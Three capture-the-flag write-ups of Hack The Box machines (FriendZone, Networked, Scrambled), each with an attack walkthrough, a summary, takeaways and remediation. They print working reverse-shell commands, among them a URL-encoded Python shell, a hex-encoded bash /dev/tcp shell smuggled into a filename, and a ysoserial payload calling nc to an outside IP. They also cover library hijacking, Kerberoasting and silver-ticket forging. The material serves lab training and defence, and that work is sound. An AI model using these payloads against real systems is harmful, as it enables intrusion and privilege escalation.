FriendZone writeup

Box name: FriendZone

Difficulty: Easy

OS: Linux

Overview: FriendZone is an easy difficulty Linux box which needs fair amount enumeration. By doing a zone transfer vhosts are discovered. There are open shares on samba which provides credentials for an admin panel. From there, an LFI is found which is leveraged to get RCE. A cron is found running which uses a writable module, making it vulnerable to hijacking.

Link: https://app.hackthebox.com/machines/FriendZone?tab=machine_info

Machine IP: 10.129.88.239

Ran rustscan against the machine.

rustscan -a 10.129.88.239 –ulimit 5000 -b 500 — -A -Pn

DNS is interestingly open which I dont normally see. We see the commonName friendzone.red. Added that to /etc/hosts and did a zone transfer.

dig axfr friendzone.red @10.129.88.239

Looks like there are further vhosts, added them all to /etc/hosts. Checked out the SMB shares and we see three interesting directories.

nxc smb 10.129.88.239 -u “” -p “” –shares

Checked out the shares. In general there is a creds.txt.

smbclient //10.129.88.239/general

Not sure what these creds go to yet. Checked out the webservers.

The previous credentials get us in.

I tried adding that parameter mentioned.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp

When I refresh the time stamp updates, so this must be executing a file. Created a php rev shell and put it in the Development drive. Tried calling it and we get a response.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell

penelope -p 4444

smbclient //10.129.88.239/general

Grabbed user.txt in /home/friend

Did local enumeration for privilege escalation. In /opt I found a script that is likely running.

Ran linpeas and we can find that /usr/lib/python2.7/os.py is world writable. The reporter.py script calls os. Wrote a script os.py.

penelope -p 4445

smbclient //10.129.88.253/Development

cp /etc/Development/os.py /usr/lib/python2.7/os.py

And we get a shell.

GG

Attack Chain

1 – Reconnaissance
Ran RustScan and identified ports including 53 (DNS), 139/445 (SMB), 80 (HTTP), and 443 (HTTPS). DNS being open was unusual and prompted further investigation. Found the certificate commonName friendzone.red and added it to /etc/hosts. Performed a DNS zone transfer which disclosed multiple internal vhosts, all added to /etc/hosts.

rustscan -a 10.129.88.239 –ulimit 5000 -b 500 — -A -Pn
dig axfr friendzone.red @10.129.88.239

2 – SMB enumeration and credential discovery
Checked SMB shares anonymously and found accessible Development and General directories. Found creds.txt in the General share containing plaintext credentials of unknown purpose at the time. Browsed to the discovered vhosts and found an admin dashboard login that accepted the recovered credentials.

nxc smb 10.129.88.239 -u “” -p “” –shares
smbclient //10.129.88.239/general

3 – Initial Access – LFI to RCE via SMB-writable share
Logged into the admin dashboard at administrator1.friendzone.red and found a pagename parameter in the URL. Confirmed it was processing files server-side by observing timestamp changes on refresh, indicating file execution. Wrote a PHP reverse shell and uploaded it to the writable Development SMB share. Triggered the shell by referencing its path through the LFI parameter, achieving remote code execution.

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell

4 – Foothold and user flag
Caught a shell and found user.txt in /home/friend.

5 – Privilege Escalation – Python os.py hijack via writable system library
Enumerated /opt and found a script likely being run via cron. Ran LinPEAS and discovered /usr/lib/python2.7/os.py was world-writable. Identified that reporter.py imported the os module. Wrote a malicious os.py containing a reverse shell trigger, uploaded it to the Development SMB share, and copied it over the legitimate os.py on the target. Waited for the cron job to execute reporter.py, which imported the poisoned os module and triggered the shell as root. Retrieved root.txt.

cp /etc/Development/os.py /usr/lib/python2.7/os.py

---

Key Takeaways

1. DNS zone transfer exposing internal hostnames – The DNS server allowed unauthenticated zone transfers, disclosing internal vhosts not otherwise discoverable. DNS servers must restrict zone transfers to explicitly authorized secondary servers only and must never allow transfers to arbitrary clients.
   
2. Anonymous SMB access exposing credentials and a writable share – SMB allowed anonymous access to shares containing plaintext credentials and a writable Development directory that was later used for both webshell upload and privilege escalation payload delivery. SMB shares must require authentication and write access must be restricted to the minimum required accounts.
   
3. LFI in the admin dashboard enabling RCE via SMB-hosted payload – The pagename parameter processed and executed files referenced by path with no validation, allowing arbitrary file inclusion from the writable SMB share. All file inclusion parameters must validate input against a strict allowlist and must never execute files from locations writable by unauthenticated users.
   
4. World-writable Python standard library file enabling import hijacking – The system os.py module was writable by any user, allowing any script that imports it to be hijacked to execute arbitrary code in the context of whatever account runs that script, in this case root via cron. Standard library files must never be writable by non-root users and file integrity monitoring must alert on modifications to system Python libraries.
   
5. Credentials and payloads reused through the same writable SMB share – The Development share was leveraged twice in the attack chain, first for webshell delivery and again for privilege escalation payload delivery. A single overly permissive share provided repeated value to the attacker, illustrating why share permission misconfigurations compound in severity.
   

---

Remediation

[Immediate] Restrict DNS zone transfers
Configure the DNS server to allow zone transfers only to explicitly authorized secondary DNS servers by IP address. Disable zone transfers to any unauthenticated or unlisted client. Audit all DNS records for internal hostnames that should not be publicly discoverable.

[Immediate] Disable anonymous SMB access and restrict share write permissions
Disable anonymous and guest SMB access across all shares immediately. Restrict the Development and General shares to only the users with an explicit operational requirement. Remove write access from any share that does not require it, and audit all shares for similar overly permissive configurations.

[Immediate] Remediate the LFI vulnerability in dashboard.php
Rewrite the pagename parameter handler to validate all file paths against an explicit allowlist of permitted pages. Reject any path referencing external shares, traversal sequences, or non-application directories. Conduct a full code review of the application for additional file inclusion points.

[Immediate] Restrict write permissions on Python standard library files
Set /usr/lib/python2.7/os.py and all other standard library files to be readable only, owned by root, with no write access for any other user or group. Audit the entire Python installation directory tree for incorrect permissions and correct them immediately.

[Immediate] Rotate all credentials found in creds.txt
The credentials recovered from the SMB share must be considered fully compromised. Rotate them immediately and remove the file from the share.

[Short-term] Restrict cron scripts and audit for writable dependencies
Audit reporter.py and all other cron-executed scripts for imports or dependencies on files that are writable by non-root users. Ensure all scripts run by privileged scheduled tasks reference only root-owned, non-writable paths for their dependencies and libraries.

[Long-term] Implement a filesystem permission and DNS/SMB hardening baseline
Define a hardening standard covering DNS zone transfer restrictions, SMB share permission audits, standard library and system file permission baselines, and LFI prevention in web applications. Include DNS, SMB, and file inclusion testing in the regular penetration testing scope, and implement periodic filesystem permission audits across all production systems.

Networked writeup

Box name: Networked

Difficulty: Easy

OS: Linux

Overview: Networked is an Easy difficulty Linux box vulnerable to file upload bypass, leading to code execution. Due to improper sanitization, a crontab running as the user can be exploited to achieve command execution. The user has privileges to execute a network configuration script, which can be leveraged to execute commands as root.

Link: https://app.hackthebox.com/machines/Networked?tab=machine_info

Machine IP: 10.129.75.124

Ran rustscan against the machine.

rustscan -a 10.129.75.124 –ulimit 5000 -b 500 — -A -Pn

Only port 22 and 80 open. Navigated to the webserver and it mentions something about FaceMash, funding and a pool party.

Checked Source code and there is a reference of uploads and a gallery in the comments.

Ran feroxbuster.

feroxbuster -u http://10.129.75.124/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

No robots.txt. Feroxbuster is still running but already found a lot of good stuff.

We have /backup directory that has a backup.tar in it.

Downloaded that and read it and it looks like this shows us the code of how it will take uploads.

cat backup.tar

Reading through the code it looks like it checks the name of the file, an IP and magic byte. The valid extension types are ‘.jpg’, ‘.png’, ‘.gif’, ‘.jpeg’. There is also http://10.129.75.124/photos.php and http://10.129.75.124/uploads/. It looks like the uploads are placed into /uploads from the code though.

At http://10.129.75.124/upload.php we have the option to upload. Let’s play with this to see if we can get a shell.

I used an image from a previous box and appended the php webshell to the end of the file and changing the content type

Content-Disposition: form-data; name=”myFile”; filename=”shell.php.jpg”

Content-Type: image/jpeg

It uploaded successfully.

You can see it in the gallery but if you open the file it opens under /uploads.

And we get results back when running ‘id’.

I confirmed python is on the device with which python. Got a reverse shell by triggering http://10.129.75.124/uploads/10_10_16_27.php.jpg?cmd=export%20RHOST=%2210.10.16.27%22;export%20RPORT=4444;python%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22/bin/bash%22)%27

nc -lvnp 4444

I was having issues stabilizing the shell but since I found the next step fairly quickly I figured we can just roll with it unless it becomes a problem. Under home there is a user named guly. We can not get user.txt but there is a php file and a crontab.

Read crontab.guly and check_attack.php.

Crontab runs every 3 minutes. It looks like the mail() option is vulnerable. This iterates through files in /uploads and checks them but we might be able to get command injection.

nc -lvnp 4445

cd /var/www/html/uploads/

I was playing with the payload but wasn’t able to properly get a shell at first so I had to encode it in hex and create this payload:

touch ‘file.jpg; echo “62617368202d69203e26202f6465762f7463702f31302e31302e31362e32372f3434343520303e2631” | xxd -r -p | bash’

And we got a shell and user.txt.

Started local enumeration as guly and right away we have an interesting file when running sudo -l.

sudo -l

Read the file.

cat changename.sh

It looks like we can inject commands here as well because $x is not quoted. Ran it as root and executed bash and we got root.txt.

GG

Attack Chain

1 – Reconnaissance
Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Browsed to the web server and found a basic FaceMash-style page. Source code comments referenced /uploads and a gallery. Ran feroxbuster and found /backup, /upload.php, /photos.php, and /uploads.

rustscan -a 10.129.75.124 –ulimit 5000 -b 500 — -A -Pn
feroxbuster -u http://10.129.75.124/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – Source code review from backup archive
Downloaded backup.tar from /backup and read the PHP source files. Identified the upload validation logic: it checked file extension against an allowlist of image types, an IP address in the filename, and the magic bytes. Understood that uploads were stored in /uploads and named using the client IP.

3 – Initial Access – file upload bypass via double extension and magic bytes
Appended a PHP webshell to the end of a legitimate image file and submitted it with a double extension filename of shell.php.jpg and a Content-Type of image/jpeg. The upload succeeded and the file appeared in the gallery. Triggered code execution by accessing the file in /uploads directly. Confirmed Python was available and triggered a Python reverse shell via URL-encoded query parameter.

filename=”shell.php.jpg”
Content-Type: image/jpeg

4 – Lateral movement via cron job command injection
Found guly’s home directory contained a crontab running check_attack.php every three minutes. Read the PHP script and identified it iterated over files in /uploads passing filenames unsanitized to a mail() call, enabling command injection via a crafted filename. Created a file with a semicolon-delimited command in the filename containing a hex-encoded bash reverse shell payload to bypass filtering. Caught a shell as guly when the cron job executed. Retrieved user.txt.

touch ‘file.jpg; echo “62617368…” | xxd -r -p | bash’

5 – Privilege Escalation – unquoted variable in sudo script
Ran sudo -l and found guly could run changename.sh as root. Read the script and identified it assigned user-supplied input to variables without quoting, allowing command injection by injecting additional commands into the input. Passed a bash command as the value to obtain a root shell. Retrieved root.txt.

---

Key Takeaways

1. Source code and backup archive exposed via unauthenticated web directory – The /backup directory was publicly accessible and contained a tar archive of the application source code, disclosing the upload validation logic and enabling precise exploit crafting. Backup files and source archives must never be stored in web-accessible directories and web server directory listing must be disabled.
   
2. File upload bypass via double extension and magic byte spoofing – The upload validation checked only the file extension and magic bytes without validating the actual file content, allowing a PHP webshell appended to a valid image to pass all checks. File upload validation must use a combination of content inspection, strict allowlist extension checking, and server-side MIME type verification. Uploaded files must be stored outside the web root or renamed and served without executable permissions.
   
3. Cron job passing unsanitized filenames to a system function – The check_attack.php script passed filenames from /uploads directly to the PHP mail() function without sanitization, enabling command injection via crafted filenames. Any script that processes filesystem data from user-controllable locations must sanitize all inputs before passing them to system functions or shell execution contexts.
   
4. Unquoted shell variable in a sudo-executable script – The changename.sh script assigned user input to an unquoted variable which was subsequently evaluated by the shell, allowing command injection. All variables in shell scripts executed with elevated privileges must be quoted and user input must be validated against a strict allowlist before use.
   
5. Web server directory listing enabling backup discovery – The /backup directory was browsable without authentication, making backup.tar trivially discoverable. Directory listing must be disabled globally and backup locations must be restricted to authorized management systems only.
   

---

Remediation

[Immediate] Remove the backup archive and disable directory listing
Delete backup.tar from /backup immediately and disable directory listing in the Apache configuration using Options -Indexes. Audit all web-accessible directories for source code archives, backup files, and configuration data and remove any findings.

[Immediate] Harden the file upload validation
Rewrite the upload handler to validate file content server-side using a library that inspects actual file content rather than relying on extension or magic bytes alone. Rename all uploaded files to a random non-executable name, store them outside the web root, and serve them through a controlled download endpoint that sets a safe Content-Type header and prevents execution.

[Immediate] Fix the cron script to sanitize filenames
Rewrite check_attack.php to validate filenames against an allowlist of permitted characters before processing them. Filenames must not be passed to mail() or any other function that evaluates them as command input. Consider processing only files matching a strict regex pattern and rejecting all others.

[Immediate] Fix the unquoted variable in changename.sh
Rewrite changename.sh to quote all variables and validate all user-supplied input against an explicit allowlist before assignment. Remove the sudo rule until the fix is deployed and reviewed. Audit all other scripts executable via sudo for similar unquoted variable vulnerabilities.

[Long-term] Implement a web application security baseline
Define a hardening standard covering file upload security, directory listing restrictions, cron script input validation, and sudo script review requirements. Integrate SAST tooling to detect unquoted variables and unsanitized inputs in shell scripts. Include file upload bypass testing and cron-based command injection in regular penetration tests.

Scrambled writeup

Box name: Scrambled

Difficulty: Medium

OS: Windows

Overview: Scrambled is a medium Windows Active Directory machine. Enumerating the website hosted on the remote machine a potential attacker is able to deduce the credentials for the user ksimpson. On the website, it is also stated that NTLM authentication is disabled meaning that Kerberos authentication is to be used. Accessing the Public share with the credentials of ksimpson, a PDF file states that an attacker retrieved the credentials of an SQL database. This is a hint that there is an SQL service running on the remote machine. Enumerating the normal user accounts, it is found that the account SqlSvc has a Service Principal Name (SPN) associated with it. An attacker can use this information to perform an attack that is knows as kerberoasting and get the hash of SqlSvc. After cracking the hash and acquiring the credentials for the SqlSvc account an attacker can perform a silver ticket attack to forge a ticket and impersonate the user Administrator on the remote MSSQL service. Enumeration of the database reveals the credentials for user MiscSvc, which can be used to execute code on the remote machine using PowerShell remoting. System enumeration as the new user reveals a .NET application, which is listening on port 4411. Reverse engineering the application reveals that it is using the insecure Binary Formatter class to transmit data, allowing the attacker to upload their own payload and get code execution as nt authority\system.

Link: https://app.hackthebox.com/machines/Scrambled?tab=play_machine

Machine IP: 10.129.75.5

Ran rustscan against the machine.

rustscan -a 10.129.75.5 –ulimit 5000 -b 500 — -A -Pn

Screenshot of only the rustscan output to save space as there are a lot of ports open.

Checked out the webserver first. It brings us to a basic website.

Navigated around the site. Under http://10.129.75.5/support.html we notice that there is an alert and NLTM authentication has been disabled so it must be using kerberos.

Clicked further around the Resources. Under Contacting IT Support http://10.129.75.5/supportrequest.html, it shows us how to reach out to IT and it shows us a potential user ksimpson.

Under http://10.129.75.5/newuser.html it appears we can create a new user but it says it sends it to the manager once complete. I’m unsure if this would deal with foothold yet.

There is also some Sales Order software information, this is what is on port 4411 http://10.129.75.5/salesorders.html.

Lastly there is a mention of password reset and a message that if no one is available the password would just be set to the username which is a very bad process http://10.129.75.5/passwords.html.

Ran ldap search and we get the domain and hostname but nothing else too important.

ldapsearch -x -H ldap://10.129.75.5 -s base

Added scrm.local, DC1 and DC1.scrm.local to /etc/hosts. Considering the information we have from the website I tried listing shared from the ksimpson account using ksimpson as the password using nxc.

Ksimpson:ksimpson

nxc smb 10.129.75.5 -u “ksimpson” -p “ksimpson” -k –shares

It looks like we can read a few directories. Since NTLM is disabled there were a few new things I had to learn with these tools to force Kerberos authentication. I also created a kerb ticket to make it simpler.

impacket-getTGT scrm.local/ksimpson:ksimpson

export KRB5CCNAME=ksimpson.ccache

After we get the kerb ticket we can connect to the SMB shares. I checked out Public first and we see a ‘Network Security Changes.pdf’ file.

impacket-smbclient scrm.local/ksimpson@DC1 -k -no-pass

use Public

ls

get Network Security Changes.pdf

Read the PDF.

NTLM is definitely disabled as I was originally having issue authenticating as I had to learn to force kerberos authentication. The line that says ‘kerberos is 100% secure and has absolutely no way anyone could exploit it’ hints we may need to kerberoast. Microsoft says it’s a feature don’t worry. Also from the ‘Change:’, I’m assuming the Sales Order software we saw earlier is connected to the database which will have to poke at later. Kerberoasted and we actually get the sqlsvc account right away.

Ran hashcat to crack.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

scrm.local\sqlsvc:Pegasus60

Here we can try a silver ticket attack.

pypykatz crypto nt Pegasus60

b999a16500b87d17ec7f2e2a68778f05

impacket-lookupsid scrm.local/ksimpson@DC1 -k -no-pass

Domain SID is: S-1-5-21-2743207045-1827831105-2542523200

With the necessary information to run the command we can create an Administrator ticket

impacket-ticketer -spn “MSSQLSvc/dc1.scrm.local” -user “ksimpson” -password “ksimpson” -nthash “B999A16500B87D17EC7F2E2A68778F05” -domain scrm.local -domain-sid “S-1-5-21-2743207045-1827831105-2542523200” -dc-ip dc1.scrm.local Administrator

Export it.

export KRB5CCNAME=Administrator.ccache

Now we can connect to mssql as administrator.

impacket-mssqlclient -k dc1.scrm.local

SELECT name FROM sys.databases;

There is a database called ScrambleHR.

SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;

There’s a few interesting tables but UserImport gives us new credentials to an account MiscSvc.

SELECT * FROM ScrambleHR.dbo.UserImport

MiscSvc:ScrambledEggs9900

Did enumeration with this account.

nxc smb 10.129.75.5 -u “MiscSvc” -p “ScrambledEggs9900” -k –shares

We can read the IT drive.

impacket-smbclient scrm.local/MiscSvc@DC1 -k -no-pass

Under the Apps directory we can see a ScrambleClient executable which was the software we saw earlier.

We can reverse it to see exactly what it does with ilspycmd.

ilspycmd ScrambleClient.exe > scramble.cs

cat scramble.cs

ilspycmd ScrambleLib.dll > scramble2.cs

cat scramble2.cs

When reading through the reversed dll file it looks like there is a Developer logon bypass with user scrmdev.

Got a shell as MiscSvc and I was able to get user.txt

evil-winrm -i dc1.scrm.local -u MiscSvc -p ‘ScrambledEggs9900’ -r scrm.local

I ended up getting stuck here. I was unable to find a way to rdp into the device. I peeked at the writeup and it looks like we need a Windows box to do the further exploiting but I run Kali only at the moment.

Apparently when you open the .exe there is a Tools debug menu which allows for logging and creates a ScrambleDebugLog.txt.

In that there is serialization and a Binary Formatter class showing the commands to the server. You can use a tool ysoserial.exe (but again Windows) to generate a payload and send it over telnet. Uploaded nc to Desktop.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c

“C:\users\miscsvc\Desktop\nc.exe -e powershell 10.10.16.27 4444” > payload.b64

printf “UPLOAD_ORDER;%s\n” “$(cat payload.b64)” | nc scrm.local 4411

And we get a shell as NT System and can grab root.txt

GG

Attack Chain

1 – Reconnaissance
Ran RustScan and identified a domain-joined Windows machine with many open ports including 80 (HTTP), 445 (SMB), 1433 (MSSQL), and 4411 (custom service). Browsed the web server and gathered several key intelligence points: NTLM authentication was disabled in favor of Kerberos, the page showed a potential username ksimpson, a password reset policy set passwords to the username by default, and a Sales Order application was running on port 4411. Added scrm.local, DC1, and DC1.scrm.local to /etc/hosts.

2 – Kerberos authentication and SMB enumeration
Tried ksimpson:ksimpson based on the default password policy hint. Obtained a Kerberos TGT and connected to SMB shares using Kerberos only. Found a readable Public share containing a PDF that confirmed NTLM was disabled and hinted at SQL service Kerberoasting as the next step.

impacket-getTGT scrm.local/ksimpson:ksimpson
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient scrm.local/ksimpson@DC1 -k -no-pass

3 – Kerberoasting and Silver Ticket attack
Kerberoasted and recovered a TGS hash for the sqlsvc account. Cracked it with Hashcat using rockyou. Computed the NT hash of the password and retrieved the domain SID. Forged a Silver Ticket impersonating Administrator for the MSSQLSvc SPN and connected to MSSQL as Administrator.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
impacket-ticketer -spn “MSSQLSvc/dc1.scrm.local” -nthash “B999A16500B87D17EC7F2E2A68778F05” -domain scrm.local -domain-sid “S-1-5-21-2743207045-1827831105-2542523200” Administrator
impacket-mssqlclient -k dc1.scrm.local

Credentials recovered: sqlsvc:Pegasus60

4 – Database credential extraction and WinRM access
Enumerated the ScrambleHR database and found a UserImport table containing plaintext credentials for MiscSvc. Authenticated via WinRM using Kerberos and retrieved user.txt.

Credentials recovered: MiscSvc:ScrambledEggs9900

5 – .NET binary reverse engineering and BinaryFormatter deserialization RCE
Accessed the IT share as MiscSvc and downloaded the ScrambleClient.exe and ScrambleLib.dll. Decompiled both with ilspycmd and identified a developer logon bypass and the use of the insecure BinaryFormatter class for serializing data sent to port 4411. Generated a deserialization payload using ysoserial.exe on a Windows host, encoding a command to execute netcat. Sent the payload to port 4411 via netcat and caught a shell as NT AUTHORITY\SYSTEM. Retrieved root.txt.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c “nc.exe -e powershell 10.10.16.27 4444”
printf “UPLOAD_ORDER;%s\n” “$(cat payload.b64)” | nc scrm.local 4411

---

Key Takeaways

1. Default password policy setting passwords to the username – The website documented a policy of resetting passwords to the username when no IT staff were available. This is a critical misconfiguration that enabled the entire attack chain. Password reset policies must never use predictable values and must require a secure out-of-band delivery of a randomly generated temporary password.
2. Kerberoastable service account with a weak password – The sqlsvc account had an SPN registered and its password was crackable with rockyou. Service accounts with SPNs must use passwords of at least 25 randomly generated characters or be replaced with Group Managed Service Accounts to eliminate the Kerberoast risk entirely.
3. Silver Ticket attack enabled by service account compromise – The sqlsvc NT hash was sufficient to forge Silver Tickets impersonating any domain user for the MSSQL service without contacting the domain controller. Service account password compromise in a Silver Ticket context bypasses all domain-level monitoring and must be treated as a critical incident requiring immediate rotation.
4. Plaintext credentials stored in a database table – MiscSvc credentials were stored in plaintext in the ScrambleHR UserImport table, accessible to anyone with MSSQL Administrator access. Credentials must never be stored in database tables in any form and must be managed through a secrets management solution.
5. BinaryFormatter deserialization in a network-accessible service enabling SYSTEM RCE – The Sales Order service used the insecure BinaryFormatter class to deserialize untrusted data received over the network, allowing arbitrary code execution as SYSTEM. BinaryFormatter must never be used and must be replaced with a safe serializer such as System.Text.Json. Services processing serialized data must validate and authenticate all input before deserialization.

---

Remediation

[Immediate] Change the password reset policy
Remove the policy of setting passwords to the username immediately. All password resets must generate a randomly generated temporary password delivered through a secure out-of-band channel. Force a password change on first login and expire the temporary credential after 24 hours.

[Immediate] Rotate all compromised credentials and the MSSQL service account
Rotate ksimpson, sqlsvc, and MiscSvc credentials immediately. Replace the sqlsvc standard user account with a Group Managed Service Account to eliminate the Kerberoast attack surface. Rotate all credentials recoverable from the ScrambleHR database.

[Immediate] Remove plaintext credentials from the UserImport table
Audit the ScrambleHR database for all tables storing credential data and remove any plaintext or reversibly encoded passwords. Implement a process ensuring credentials are never stored in application databases and must flow through a secrets management solution.

[Immediate] Replace BinaryFormatter in the Sales Order service
Rewrite the port 4411 service to use a safe serialization library such as System.Text.Json or Protobuf. Require authentication before accepting any serialized input. Restrict network access to port 4411 to authorized clients only via host firewall rules.

[Short-term] Restrict MSSQL access and audit Silver Ticket indicators
Restrict MSSQL access to authorized application servers only. Deploy SIEM detection rules for Silver Ticket usage including Kerberos service ticket requests that bypass the KDC. Monitor for anomalous MSSQL authentication patterns including Administrator impersonation via forged tickets.

[Long-term] Implement a tiered AD and service account governance program
Audit all accounts with SPNs and migrate service accounts to gMSAs. Define a policy prohibiting plaintext credential storage in any application database. Include BinaryFormatter usage scanning in code reviews and SAST tooling. Add Silver Ticket and Kerberoasting attack paths to the regular penetration testing scope.